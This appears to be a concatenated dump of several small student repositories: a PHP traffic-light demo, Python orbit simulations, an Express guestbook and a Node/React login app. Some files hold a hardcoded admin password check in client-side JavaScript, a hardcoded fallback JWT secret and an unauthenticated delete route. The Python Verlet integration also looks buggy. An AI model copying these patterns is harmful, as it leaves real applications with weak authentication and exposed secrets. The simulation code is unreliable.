<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<!-- jQuery library -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<!-- Latest compiled JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<script src="<?php echo base_url();?>js/code.js"></script>
</head>
<body>
<a id="btnCalleA" href="<?php echo base_url('index.php/App/calleA'); ?>" class="btn btn-primary">Calle A</a>
<a id="btnCalleB" href="<?php echo base_url('index.php/App/calleB'); ?>" class="btn btn-primary">Calle B</a>
<a id="btnAdmin" href="<?php echo base_url('index.php/App/Admin'); ?>" class="btn btn-primary">Administracion</a>
</body>
<script type="text/javascript">
</script>
</html><file_sep>/application/views/CalleA.php
<html>
<head>
<title>Calle A</title>
<script src="<?php echo base_url();?>js/code.js"></script>
</head>
<body id="bdCalleA" bgcolor=red onload="intervalCalleA = setInterval(setCalleA, 100);">
Esta es la calle A
</body>
</html><file_sep>/application/views/Admin.php
<?php
$mensaje = "";
$CI =& get_instance();
if($_POST){
$mensaje = "Persona registrada";
}
?>
<html lang 'es'>
<head>
<title>Administracion del semaforo</title>
<script type="text/javascript" src="<?php echo base_url(); ?>js/code.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<!-- jQuery library -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<!-- Latest compiled JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<table>
<tr>
<td>
Usuario
</td>
<td>
<input id="txtUsuario" />
</td>
</tr>
<tr>
<td>
Contraseña
</td>
<td>
<input id="txtPassword" />
</td>
</tr>
<tr>
<td>
<button onclick="verificar();">Entrar</button>
</td>
<td>
<button>Regresar</button>
</td>
</tr>
</table>
</body>
</html><file_sep>/js/code.js
function geid(id){
return document.getElementById(id);
}
function Datos(cA, cB, tV, tA){
this.colorCalleA = cA;
this.colorCalleB = cB;
this.tiempoVerde = tV * 1000;
this.tiempoAmarillo = tA * 1000;
this.tiempoRojo = this.tiempoVerde + this.tiempoAmarillo;
}
cargarDatos();
var blverificar = true;
if(blverificar){
setInterval(aver, 16000);
blverificar = false;
}
function aver(){
setTimeout(cambiarVerdeA, 5000);
setTimeout(cambiarAmarilloA, 10000);
setTimeout(cambiarRojoA, 13000);
setTimeout(cambiarAmarilloB, 16000);
}
function guardarDatos(){
datos = JSON.stringify(info);
datos = localStorage.setItem('datosSem', datos);
}
function cargarDatos(){
datos = localStorage.getItem('datosSem');
if (datos != null){
info = JSON.parse(datos);
}
}
//var timeoutRojoA = setTimeout(cambiarRojo, 3000);
function setCalleA(){
cargarDatos();
geid('bdCalleA').setAttribute('bgcolor', info.colorCalleA);
/*if(blverificar){
var myVar = setInterval(cambiarColores, 5000);
blverificar = false;
clearInterval(tInterval);
}
cargarDatos();
//var myVar = setInterval(cambiarColores, 5000);
geid('bdCalleA').setAttribute('bgcolor', info.colorCalleA);
//pruebaTimeOut();*/
}
function setCalleB(){
cargarDatos();
geid('bdCalleB').setAttribute('bgcolor', info.colorCalleB);
//pruebaTimeOut();
}
function cambiarColores(){
/*intervalCalleA = setInterval(setCalleA, 100);
intervalCalleB = setInterval(setCalleB, 100);
tCalleA = info.colorCalleA;
tCalleB = info.colorCalleB;
var mytimeout = setTimeout(cambiarAmarilloA, 4000);
clearInterval(intervalCalleA);
info.colorCalleA = tCalleB;
info.colorCalleB = tCalleA;
guardarDatos();*/
}
function cambiarAmarilloA(){
info.colorCalleA = "#FFFF00"
guardarDatos();
}
function cambiarVerdeA(){
info.colorCalleA = "#00FF00"
info.colorCalleB = "#FF0000"
guardarDatos();
}
function cambiarRojoA(){
info.colorCalleA = "#FF0000"
info.colorCalleB = "#00FF00"
guardarDatos();
}
function cambiarAmarilloB(){
info.colorCalleB = "#FFFF00"
info.colorCalleA = "#FF0000"
guardarDatos();
}
function alerta(){
alert('lol >v');
}
/*function verificar(){
usuario = geid("txtUsuario").value;
password = geid("txtPassword").value;
if(usuario == "admin" && password == "lol"){
window.location.href = "<?php echo base_url('index.php/App/Admin2'); ?>"
}
}
*/
<file_sep>/application/views/CalleB.php
<html>
<head>
<title>Calle B</title>
<script type="text/javascript" src="<?php echo base_url(); ?>js/code.js"></script>
</head>
<body id="bdCalleB" bgcolor=green onload="intervalCalleB = setInterval(setCalleB, 100);">
Esta es la calle B
</body>
</html><file_sep>/application/views/Admin2.php
<?php
$mensaje = "";
$CI =& get_instance();
if($_POST){
$mensaje = "Persona registrada";
}
?>
<html lang 'es'>
<head>
<title>Administracion del semaforo</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<!-- jQuery library -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<!-- Latest compiled JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
lol
</body>
</html> | 448f7816462bd3584a15bcc1d0b9e1a73dc3db47 | [
"JavaScript",
"PHP"
] | 6 | PHP | victorh18/tarea7 | 98cda009c3eec4940dd8098211e4eeadb7184390 | f5018824b06468a4b41e02799f1a6dbe446f0012 |
refs/heads/master | <file_sep># uncomment the next line if running in a notebook
# %matplotlib inline
import numpy as np
import matplotlib.pyplot as plt
# mass, spring constant, initial position and velocity
m = 1
k = 1
x = 0
v = 2
m_verlet = 1
k_verlet = 1
x_verlet = 0
v_verlet = 1
# simulation time, timestep and time
t_max = 1000
dt = 1
t_array = np.arange(0, t_max, dt)
# initialise empty lists to record trajectories
x_list = []
v_list = []
x_list_verlet = []
v_list_verlet = []
# Euler integration
for t in t_array:
# append current state to trajectories
x_list.append(x)
v_list.append(v)
x_list_verlet.append(x)
v_list_verlet.append(v)
# calculate new position and velocity
a = -k * x / m
x = x + dt * v
v = v + dt * a
# applying the verlet method, within the same loop
x_verlet = 2*x_verlet - x_list_verlet[-1] + ((dt)**2)*(-k_verlet*x_verlet/m_verlet)
v_verlet = (x_verlet-x_list_verlet[-1])/dt
# convert trajectory lists into arrays, so they can be sliced (useful for Assignment 2)
x_array = np.array(x_list)
v_array = np.array(v_list)
x_array_verlet = np.array(x_list_verlet)
v_array_verlet = np.array(v_list_verlet)
# plot the position-time graph
plt.figure(1)
plt.clf()
plt.xlabel('time (s)')
plt.grid()
plt.plot(t_array, x_array, label='x (m) euler')
plt.plot(t_array, v_array, label='v (m/s) euler')
plt.plot(t_array, x_array_verlet, label='x (m) verlet')
plt.plot(t_array, v_array_verlet, label='v (m/s) verlet')
plt.legend()
plt.show()
<file_sep>import numpy as np
import matplotlib.pyplot as plt
def vector_magnitude(vect):
magnitude = ((vect[0])**2) + ((vect[1])**2) + ((vect[2])**2)
magnitude = magnitude**(0.5)
return(magnitude)
m = 1000 #mass of satellite
M = 6.42*(10**23) #mass of mars
R = 3390000 #mars radius
dt = 0.1 #time step
G = 6.67*(10**(-11)) #gravitational constant
t_max = 20000 #length of simulation
x = np.array([R+10000, 0, 0])
orbital_vel = ((G*M)/(vector_magnitude(x)))**0.5
v = np.array([0, orbital_vel+20, 0])
x_list = []
v_list = []
x_coordinate = []
y_coordinate = []
z_coordinate = []
a_list = []
t_array = np.arange(0, t_max, dt)
for t in t_array:
x_list.append(x)
v_list.append(v)
a = -((G*M)/((vector_magnitude(x))**3))*x
v = v + dt*a
x = x + dt*v
if vector_magnitude(x) < R:
break
for i in x_list:
x_coordinate.append(i[0])
y_coordinate.append(i[1])
z_coordinate.append(i[2])
# convert trajectory lists into arrays, so they can be sliced (useful for Assignment 2)
x_array = np.array(x_list)
v_array = np.array(v_list)
plt.figure(1)
plt.clf()
plt.grid()
plt.scatter(x_coordinate, y_coordinate)
plt.show()
<file_sep># <NAME>
In this project I simulated the landing of a rocket on mars. The project got really interesting when I programmed a autopilot function it as well.
Most of the project is in C++, but some parts of the simulation and plotting is done on Python.
The project was not only a demonstration of my skills in control theory, but it was also a great learning experience in simulations and modelling.
| 89b8032b8b9554c7cd9922528991ff218570cc25 | [
"Markdown",
"Python"
] | 3 | Python | sehajchawla/Mars_Lander | 878fc8b92d15fac5c3361ab5e95902408132aafd | c17d3fa6b1a18a9694447cf0d117ad9d780cd606 |
refs/heads/master | <repo_name>forelise25/guest_board<file_sep>/app.js
var fs = require('fs');
var ejs = require('ejs');
var mysql = require('mysql');
var express = require('express');
var bodyParser = require('body-parser');
var slashes = require('slashes');
var client = mysql.createConnection({
user:'forelise25',
password:'<PASSWORD>',
database:'forelise25'
});
var app = express();
app.use(bodyParser.urlencoded({
extended:false
}));
app.use(express.static('public'));
app.listen(8080, function(){
console.log('server running at person.emirim.kr:8080');
});
app.get('/', function(request, response){
fs.readFile('index.html', 'utf-8', function(error, data){
client.query('select * from guest_board order by gnum desc', function(error, gresults){
client.query('select * from question',function(error, qresults){
response.send(ejs.render(data,{
guest_board:gresults,
question:qresults
}));
});
});
});
});
app.get('/delete/:for_num', function(request, response){
client.query('delete from guest_board where id=?',[
request.params.for_num
], function(){
response.redirect('/');
});
});
app.get('/update/:for_num', function(request, response){
fs.readFile('index.html', 'utf-8', function(error, data){
client.query('select * from guest_board order by gnum desc', function(error, gresults){
client.query('select * from question',function(error, qresults){
response.send(ejs.render(data,{
guest_board:gresults,
question:qresults
}));
});
});
});
});
app.post('/',function(request, response){
console.log("server right?");
//client.query('insert guest_board() into ')
});
| 3e2d8077b83ac8ba722ac491efbb516b72fbf45d | [
"JavaScript"
] | 1 | JavaScript | forelise25/guest_board | 3f28b8f500817a518b9936dee39fcae1ba99f07c | 3c650bf66f01e9cee784a1fedac363f2f03103ea |
refs/heads/master | <repo_name>sekenned/tdd_with_django<file_sep>/README.md
# tdd_with_django
I go through TDD with Django second edition.
Mine is not to wonder why. Mine is but to [Obey the Testing Goat](http://www.obeythetestinggoat.com/)
(I gave it a go with pipenv)
## Nota Bene
- Comments: should not need to explain *what* you're doing (ideally the code will be eloquent enough that
that's apparent); occasionally you may want to explain *why*
<file_sep>/functional_tests/tests.py
from django.test import LiveServerTestCase
from selenium import webdriver
from selenium.common.exceptions import WebDriverException
from selenium.webdriver.common.keys import Keys
import time
MAX_WAIT = 10
class NewVisitorTest(LiveServerTestCase):
def setUp(self):
self.browser = webdriver.Firefox(executable_path='./geckodriver')
def tearDown(self):
self.browser.quit()
def wait_for_row_in_list_table(self, row_text):
start_time = time.time()
while True:
try:
table = self.browser.find_element_by_id('id_list_table')
rows = table.find_elements_by_tag_name('tr')
self.assertIn(row_text, [row.text for row in rows])
return
except(AssertionError, WebDriverException) as e:
if time.time() - start_time > MAX_WAIT:
raise e
time.sleep(0.5)
def check_for_row_in_list_table(self, row_text):
table = self.browser.find_element_by_id('id_list_table')
rows = table.find_elements_by_tag_name('tr')
self.assertIn(row_text, [row.text for row in rows])
def test_can_start_a_list_for_one_user(self):
# Xia heard about a new app.
# She goes to check out its homepage
self.browser.get(self.live_server_url)
# She notices the page title and header mention "to-do" style lists
self.assertIn('To-Do', self.browser.title)
header_text = self.browser.find_element_by_tag_name('h1').text
self.assertIn('To-Do', header_text)
# She is invited to enter a to-do list item straight away
inputbox = self.browser.find_element_by_id('id_new_item')
self.assertEqual(
inputbox.get_attribute('placeholder'),
'Enter a to-do item'
)
# She types "remember to finish sanding wood" (She wants to make a
# pair of chopsticks for a dear friend)
inputbox.send_keys('finish sanding wood')
# When she hits "enter", the page updates and the page lists
# "1: remember to finish sanding wood" as an item in a to-do list
inputbox.send_keys(Keys.ENTER)
self.wait_for_row_in_list_table('1: finish sanding wood')
# There is still a text box inviting her to add another item. She
# enters "look up how to finish sanded chopsticks"
inputbox = self.browser.find_element_by_id('id_new_item')
inputbox.send_keys('look up how to finish sanded chopsticks')
inputbox.send_keys(Keys.ENTER)
# The page updates again, and now shows both items on the list
self.wait_for_row_in_list_table('1: finish sanding wood')
self.wait_for_row_in_list_table('2: look up how to finish sanded chopsticks')
# table = self.browser.find_element_by_id('id_list_table')
# rows = table.find_elements_by_tag_name('tr')
# self.assertIn('1: finish sanding wood', [row.text for row in rows],
# f"New to-do item did not appear in the table. Contents were:\n{table.text}"
# )
# There is still a text box inviting her to add another item. She
# enters "look up how to finish sanded chopsticks"
#self.fail('Finish writing the test!')
# The page updates again, and shows the additional item on the list along
# with the first.
# "How robust is this site?", she wonders. She sees the site has
# generated an unique URL on her behalf -- some explanatory text
# notes this as well. S
# She visits taht URL - her to-do list is still there.
# Satisfied, she picks up her block of unfinished wood
def test_multiple_users_can_start_lists_at_different_urls(self):
# Edith starts a new to-do list
self.browser.get(self.live_server_url)
inputbox = self.browser.find_element_by_id('id_new_item')
inputbox.send_keys('Buy peacock feathers')
inputbox.send_keys(Keys.ENTER)
self.wait_for_row_in_list_table('1: Buy peacock feathers')
# She notices that her list has a unique URL
edith_list_url = self.browser.current_url
self.assertRegex(edith_list_url, '/lists/.+')
# Now a new user, Francis, comes to the site
## We use a new browser session to make sure that no information
## of Edith's is coming through from cookies, etc.
self.browser.quit()
self.browser = webdriver.Firefox()
# Francis visits the home page. There is no sign of Edith's list
self.browser.get(self.live_server_url)
page_text = self.browser.find_element_by_tag_name('body').text
self.assertNotIn('Buy peacock feathers', page_text)
self.assertNotIn('make a fly', page_text)
# Francis starts a new list by entering a new item.
# He is less interesting than Edith...
inputbox.send_keys('Buy milk')
inputbox.send_keys(Keys.ENTER)
self.wait_for_row_in_list_table('1: Buy milk')
# Francis gets his own unique URL
francis_list_url = self.browser.current_url
self.assertRegex(francis_list_url, '/lists/.+')
self.assertNotEqual(francis_list_url, edith_list_url)
# Again, there is no trace of Edith's list
page_text = self.browser.find_element_by_tag_name('body').text
self.assertNotIn('Buy peacock feathers', page_text)
self.assertIn('Buy milk', page_text)
# Satisfied, they both go back to sleep
| 688650c18cc5a9dfc60d325e1473fe168d7f42a9 | [
"Markdown",
"Python"
] | 2 | Markdown | sekenned/tdd_with_django | 4d7b7960e3f680663a7420bc5bbefa745a736680 | b6c152fd2d38857ca725a68fcca0441e93ac0e5e |
refs/heads/master | <file_sep>import { ActionTypes } from '../actions/index'
const {
NEW_ERROR,
CLEAR_ERRORS,
CHANGE_ACTIVE_PAGE,
} = ActionTypes
const initialState = {
errorMessages: [],
activePage: 'home',
}
export function errors(state = initialState, action) {
switch (action.type) {
case NEW_ERROR:
return {
...state,
errorMessages: [...state.errorMessages, action.errorMessage]
}
case CLEAR_ERRORS:
return {
...state,
errorMessages: []
}
case CHANGE_ACTIVE_PAGE:
return {
...state,
activePage: action.page,
}
default:
return {
...state,
}
}
}<file_sep>module.exports = {
PORT: process.env.PORT || 5001 //this can be changed for development purposes
,
mongodb: {
uri: 'mongodb+srv://adriana:<EMAIL>/testdb?retryWrites=true&w=majority',
},
token: {
secret: process.env.TOKEN_SECRET || 'Smecherasii'
}
}
<file_sep>'use strict'
const ENV = process.env.NODE_ENV || 'development';
const config = require('./env/' + ENV.toLowerCase());
console.log('ENV', ENV);
console.log('Token secret', config.token.secret);
module.exports = config;
<file_sep>version: "3"
services:
nodejs-app:
build: ./nodejs-app
ports:
- 5100:5100
react-app:
build: ./react-app
ports:
- 4200:4200
stdin_open: true
<file_sep>import 'bootstrap/dist/css/bootstrap.min.css';
import React, { useEffect } from 'react';
import './App.css';
import { BrowserRouter as Router, Switch, Route } from 'react-router-dom'
import { Row } from 'react-bootstrap'
import { Container } from 'react-bootstrap'
import { configureStore } from './configureStore'
import rootReducer from './reducers/index'
import { Provider } from 'react-redux'
import LogInContainer from './components/log_in/LogInContainer';
import RegisterContainer from './components/register/RegisterContainer';
import NavContainer from './components/nav/NavContainer';
import { getUser } from './actions'
import { getCookie } from './helpers'
function App() {
const store = configureStore(rootReducer)
useEffect(() => {
const token = getCookie("token")
const userId = getCookie("userId")
if (token && userId) {
store.dispatch(getUser(userId, token))
}
})
return (
<Provider store={store}>
<Router>
<div>
<NavContainer></NavContainer>
<Container>
<Switch>
<Route path="/login">
<LogInContainer />
</Route>
<Route path="/register">
<RegisterContainer />
</Route>
<Route path="/home">
<div className="centered-div">
<Row>
<h1>HOME</h1>
</Row>
<div className="separator"></div>
</div>
</Route>
</Switch>
</Container>
</div>
</Router>
</Provider>
);
}
export default App;
<file_sep>'use strict'
const path = require('path');
module.exports.init = initRoutes;
function initRoutes(app) {
const routesPath = path.join(__dirname, '../app/routes'); //__dirname - absolute path to this file
const routes = ['users', 'auth'];
routes.forEach(route => {
app.use(require(routesPath + '/' + route));
});
}
<file_sep>'use strict'
const samePassword = require('../../helpers/bcrypt').samePassword;
const tokenGenerator = require('../../helpers/token');
const User = require('../models/users');
const login = (req, res, next) => {
const { email, password } = req.body;
User.find({ email: email }, function (err, response) {
if (err) {
return next({ message: err });
}
if(response.length === 0){
return next({message: "Inexistent user with that email!", status: 404});
}
let user = response[0];
if (!samePassword(password, user.password)) {
return next({ message: "Incorrect password!", status: 404});
}
const token = tokenGenerator.generateToken(user._id);
return res.json({ data: user, token: token });
});
}
module.exports = {
login
};
<file_sep>import thunkMiddleware from 'redux-thunk'
import { createLogger } from 'redux-logger'
import { createStore, applyMiddleware } from 'redux'
const loggerMiddleware = createLogger()
export const configureStore = (rootReducer) => createStore(
rootReducer,
applyMiddleware(
thunkMiddleware, // lets us dispatch() functions
loggerMiddleware // neat middleware that logs actions
)
)<file_sep># nodejs-app
Auth:
POST /login {password: <PASSWORD>, email: String}
User:
POST /users {firstname: String, lastname: String, password: <PASSWORD>, email: String } -save user
GET /users - get all users
GET /users/:id - get user by id<file_sep>const User = require('../models/users');
const samePassword = require('../../helpers/bcrypt').samePassword;
const roundDouble = require('../../helpers/round').roundDouble;
const saveUser = (req, res, next) => {
const { firstname, lastname, email, password } = req.body;
const user = new User({
firstname,
lastname,
email,
password
});
user.save(user, function (err, response) {
if (err) {
return next({ message: err });
}
return res.json({ data: response });
})
},
getUser = (req, res, next) => {
User
.findById(req.params.id)
.lean()
.exec(function (err, response) {
if (err) {
return next(err);
}
req.user = response;
next();
})
},
getUsers = (req, res, next) => {
User.find(function (err, response) {
if (err) {
return next(err);
}
return res.json({ data: response });
})
}
module.exports = {
saveUser,
getUser,
getUsers,
};
<file_sep>import { connect } from 'react-redux'
import Nav from './NavApp';
import { logOut, clearErrors, changeActivePage } from '../../actions'
const mapStateToProps = (state) => ({
user: state.registration.user,
activePage: state.errors.activePage,
})
const mapDispatchToProps = (dispatch) => ({
logOut: () => dispatch(logOut()),
clearErrors: () => dispatch(clearErrors()),
changePage: (newPage) => dispatch(changeActivePage(newPage)),
})
export default connect(
mapStateToProps,
mapDispatchToProps
)(Nav)<file_sep>'use strict'
const jwt = require('jsonwebtoken');
const tokenSecret = require('../config/index').token.secret;
const generateToken = (userId) => {
return jwt.sign({id: userId}, tokenSecret, {
expiresIn: 86400 // one day
})
}
module.exports = {
generateToken
};
<file_sep>import { connect } from 'react-redux'
import LogInComponent from './LogInComponent'
import { logIn } from '../../actions'
const mapStateToProps = (state) => ({
user: state.registration.user,
loading: state.registration.logInLoading,
errors: state.errors.errorMessages,
})
const mapDispatchToProps = (dispatch) => ({
logIn: (data) => dispatch(logIn(data))
})
export default connect(
mapStateToProps,
mapDispatchToProps
)(LogInComponent)<file_sep>'use strict'
const express = require('express');
const app = express();
const port = require('./config').PORT;
require('./config/express').init(app);
require('./config/routes').init(app);
require('./config/mongoose').init(app);
//generic middleware for errors
app.use(function (err, req, res, next) {
let { status, message } = err;
console.log(err)
if (err.message && err.message.code === 11000) {
const { keyValue } = err.message;
const propName = Object.keys(keyValue)[0];
message = `Duplicate ${propName}: ${keyValue[propName]}`;
status = 412;
}
return res.status(status || 400).json({
message: message || 'Default error message'
})
});
//start server
app.listen(port, () => {
console.log("app server started on port " + port);
});
<file_sep>import React, { Component } from 'react'
import { Row, Form, Button } from 'react-bootstrap'
import './LogInComponent.css'
import ClipLoader from "react-spinners/ClipLoader";
import { Redirect } from 'react-router-dom'
export default class LogInComponent extends Component {
constructor(props) {
super(props);
this.login = this.login.bind(this)
this.state = {
email: "",
password: "",
}
}
login(e) {
e.preventDefault()
this.props.logIn({
...this.state,
})
}
render() {
if (this.props.user.token !== "") {
return (<Redirect to={'/home'} />)
}
return (
<div className="centered-div">
<Row>
<h1>LOG IN</h1>
</Row>
<div className="separator"></div>
<Row>
<Form onSubmit={this.login}>
<Form.Group controlId="registerEmailAddress">
<Form.Label>Email address</Form.Label>
<Form.Control type="email" placeholder="Enter email" onChange={(e) => this.setState({ email: e.target.value })} />
<Form.Text className="text-muted">
We'll never share your email with anyone else.
</Form.Text>
</Form.Group>
<Form.Group controlId="registerPassword">
<Form.Label>Password</Form.Label>
<Form.Control type="password" placeholder="<PASSWORD>" onChange={(e) => this.setState({ password: e.target.value })} />
</Form.Group>
<Button variant="primary" type="submit" className="submit" disabled={this.props.loading}>
Submit
<ClipLoader color={"#ffffff"} loading={this.props.loading} size={20} className="spinner" />
</Button>
</Form>
</Row>
<Row className="errors">
{this.props.errors.map((e, i) => (<p key={i}>{e}</p>))}
</Row>
</div>
);
}
}<file_sep>roundDouble = (value) => {
return Math.round(value * 100) / 100;
}
module.exports = {
roundDouble
};
<file_sep>import React, { Component } from 'react'
import { Row, Form, Button } from 'react-bootstrap'
import './RegisterComponent.css'
import { Redirect } from 'react-router-dom'
import { ClipLoader } from 'react-spinners'
export default class RegisterComponent extends Component {
constructor(props) {
super(props);
this.submitRegister = this.submitRegister.bind(this)
this.state = {
firstName: "",
lastName: "",
email: "",
password: "",
}
}
submitRegister(e) {
e.preventDefault();
this.props.register({
...this.state,
})
}
render() {
if (this.props.user.token !== "") {
return (<Redirect to={'/home'} />)
}
return (
<div className="centered-div">
<Row>
<h1>REGISTER</h1>
</Row>
<div className="separator"></div>
<Row>
<Form onSubmit={this.submitRegister}>
<Form.Group controlId="registerFirstName">
<Form.Label>First Name</Form.Label>
<Form.Control type="text" placeholder="Enter first name" onChange={(e) => this.setState({ firstName: e.target.value })} />
</Form.Group>
<Form.Group controlId="registerLastName">
<Form.Label>Last Name</Form.Label>
<Form.Control type="text" placeholder="Enter last name" onChange={(e) => this.setState({ lastName: e.target.value })} />
</Form.Group>
<Form.Group controlId="registerEmailAddress">
<Form.Label>Email address</Form.Label>
<Form.Control type="email" placeholder="Enter email" onChange={(e) => this.setState({ email: e.target.value })} />
<Form.Text className="text-muted">
We'll never share your email with anyone else.
</Form.Text>
</Form.Group>
<Form.Group controlId="registerPassword">
<Form.Label>Password</Form.Label>
<Form.Control type="password" placeholder="<PASSWORD>" onChange={(e) => this.setState({ password: e.target.value })} />
</Form.Group>
<Button variant="primary" type="submit" className="submit" disabled={this.props.loading}>
Submit
<ClipLoader color={"#ffffff"} loading={this.props.loading} size={20} className="spinner" />
</Button>
</Form>
</Row>
<Row className="errors">
{this.props.errors.map((e, i) => (<p key={i}>{e}</p>))}
</Row>
</div>
);
}
}<file_sep>subtractDates = (firstDate, secondDate) => {
return (firstDate.getTime() - new Date(secondDate).getTime()) / (1000*3600*24);
}
module.exports = {
subtractDates
}
<file_sep>'use strict'
const mongoose = require('mongoose');
const config = require('./index');
module.exports.init = initMongoose;
function initMongoose(app) {
console.log('init mongoose');
console.log('db uri ' + config.mongodb.uri)
mongoose.connect(config.mongodb.uri, {
useNewUrlParser: true,
useCreateIndex:true,
useFindAndModify:false,
useUnifiedTopology:true
});
console.log('connected to db');
}
//if the node proc ends, cleanup existing functions
process.on('SIGINT', cleanup);
process.on('SIGTERM', cleanup);
process.on('SIGHUP', cleanup);
function cleanup() {
mongoose.connection.close = function(){
process.exit();
}
}
<file_sep>import React, { Component } from 'react'
import { Navbar, Nav, NavDropdown } from 'react-bootstrap'
import { Link } from 'react-router-dom'
import './NavApp.css'
export default class NavApp extends Component {
constructor(props) {
super(props)
this.logOut = this.logOut.bind(this)
this.isActive = this.isActive.bind(this)
this.navigateToPage = this.navigateToPage.bind(this)
}
navigateToPage(page) {
this.props.changePage(page)
this.props.clearErrors()
}
logOut() {
this.props.logOut()
this.props.changePage('home')
this.props.clearErrors()
}
isActive(path) {
return this.props.activePage.indexOf(path) > -1 ? 'active' : ''
}
render() {
const title = (<span><i className="fa fa-user-circle"></i>{this.props.user.firstName + ' ' + this.props.user.lastName}<div></div></span>)
const loginLink = this.props.user.token === "" ? (<Link to="/login" className={`nav-link ${this.isActive('login')}`} onClick={() => this.navigateToPage('login')}><span>Log in<div></div></span></Link>) : null
const registerLink = this.props.user.token === "" ? (<Link to="/register" className={`nav-link ${this.isActive('register')}`} onClick={() => this.navigateToPage('register')}><span>Register<div></div></span></Link>) : null
const profileLink = this.props.user.token !== "" ? (
<NavDropdown title={title} id="basic-nav-dropdown" className="profile">
<Link to="/home" className="nav-link profile dropdown-item" onClick={this.logOut}>
Log out
</Link>
</NavDropdown>) : null
return (
<Navbar expand="lg">
<Navbar.Brand href="#home">LoginApp</Navbar.Brand>
<Navbar.Toggle aria-controls="basic-navbar-nav" />
<Navbar.Collapse id="basic-navbar-nav" className="right-side">
<Nav className="right-side">
{loginLink}
{registerLink}
{profileLink}
</Nav>
</Navbar.Collapse>
</Navbar>
);
}
}<file_sep>'use strict'
const bodyParser = require('body-parser');
const methodOverride = require('method-override');
const cors = require('cors');
const commonController = require('../app/controllers/common');
module.exports.init = initExpress;
function initExpress(app) {
app.use(cors());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.use(methodOverride());
app.use('*', commonController.authorizeToken);
}
<file_sep>import { connect } from 'react-redux'
import RegisterComponent from './RegisterComponent'
import { register } from '../../actions'
const mapStateToProps = (state) => ({
user: state.registration.user,
loading: state.registration.registerLoading || state.registration.logInLoading,
errors: state.errors.errorMessages,
})
const mapDispatchToProps = (dispatch) => ({
register: (data) => dispatch(register(data))
})
export default connect(
mapStateToProps,
mapDispatchToProps
)(RegisterComponent) | 78c67f21ce1b1ff154da8df6a268a31b97a6f299 | [
"JavaScript",
"YAML",
"Markdown"
] | 22 | JavaScript | adriana-balatici/soa | 2ce549993246b2843a92745a74624a00255fa421 | 47bca74486c474ee5f04ce6a6580b7260c47d687 |
refs/heads/master | <repo_name>thesoul214/ballBounce_Unity<file_sep>/README.md
# ballBounce_Unity
for studying unity, make very simple app that ball bounces against wall.
<file_sep>/Scripts/SphereSc.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class SphereSc : MonoBehaviour {
public GameObject Sphere_red;
public GameObject leftWall;
public GameObject northWall;
public GameObject rightWall;
public GameObject southWall;
private Vector3 velocity;
private Vector3 direction;
private Object[] materials;
private float dirX;
private float dirZ;
void Start () {
dirX = Random.Range(-100.0f, 100.0f);
dirZ = Random.Range(-100.0f, 100.0f);
direction = new Vector3(dirX, 0.0f, dirZ);
velocity = direction * 0.6f;
Sphere_red = GameObject.Find("Sphere_red");
leftWall = GameObject.Find("leftWall");
northWall = GameObject.Find("northWall");
rightWall = GameObject.Find("rightWall");
southWall = GameObject.Find("southWall");
// Assets/Resources/materials 안에 있는 material 파일을 모두 가져오는 연습코드
materials = Resources.LoadAll("Materials", typeof(Material));
Debug.Log(materials.Length);
// Trail Component의 색을 지정해주기 위한 코드
Material trail = Sphere_red.GetComponent<TrailRenderer>().material;
Color nColor = Sphere_red.GetComponent<Renderer>().material.color;
trail.SetColor("_Color", nColor);
}
void OnCollisionEnter(Collision collisionInfo){
if(collisionInfo.collider.name != "Ground"){
velocity = -velocity;
// velocity.y = 0.0f;
velocity = Vector3.Reflect(velocity, collisionInfo.contacts[0].normal);
}
}
void FixedUpdate(){
if(transform.position.z < leftWall.transform.position.z){
Destroy(this.gameObject);
}else if(transform.position.z > rightWall.transform.position.z){
Destroy(this.gameObject);
}else if(transform.position.x > southWall.transform.position.x){
Destroy(this.gameObject);
}else if(transform.position.x < northWall.transform.position.x){
Destroy(this.gameObject);
}
// position.y값이 너무 커지면 Y 방향을 낮춰준다.
if(this.gameObject.transform.position.y > 10.0f){
Debug.Log( string.Format("########### higher than 10.0f #######") );
velocity.y = velocity.y - 2.5f;
}
this.gameObject.transform.Translate(velocity * Time.deltaTime);
}
void OnMouseDown()
{
Debug.Log( string.Format("########### Quaternion.identity : {0} " , Quaternion.identity) );
GameObject cloneObj = (GameObject) Instantiate(this.gameObject);
Renderer rend = cloneObj.GetComponent<Renderer>();
// public static Color ColorHSV(float hueMin, float hueMax, float saturationMin, float saturationMax, float valueMin, float valueMax);
// hue : 색상, saturation : 채도
rend.material.color = Random.ColorHSV(0f, 1f, 0f, 1f, 0.5f, 1f);
// 복제된 object의 trail component
Material trail = cloneObj.GetComponent<TrailRenderer>().material;
// 볼과 Trail을 같은 색으로 지정해준다.
trail.SetColor("_Color", rend.material.color);
}
public override string ToString(){
return "aaa";
}
}
| 8a143d1df88eac1f8e375a296d5600fe6055b622 | [
"Markdown",
"C#"
] | 2 | Markdown | thesoul214/ballBounce_Unity | 9dd7f9f7c4fd1820691a96530ac108eabece2c0d | a4605739c4bc26be93e83a8c6b6b788e422ff17d |
refs/heads/master | <file_sep>/* --COPYRIGHT--,BSD
* Copyright (c) 2012, Texas Instruments Incorporated
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* * Neither the name of Texas Instruments Incorporated nor the names of
* its contributors may be used to endorse or promote products derived
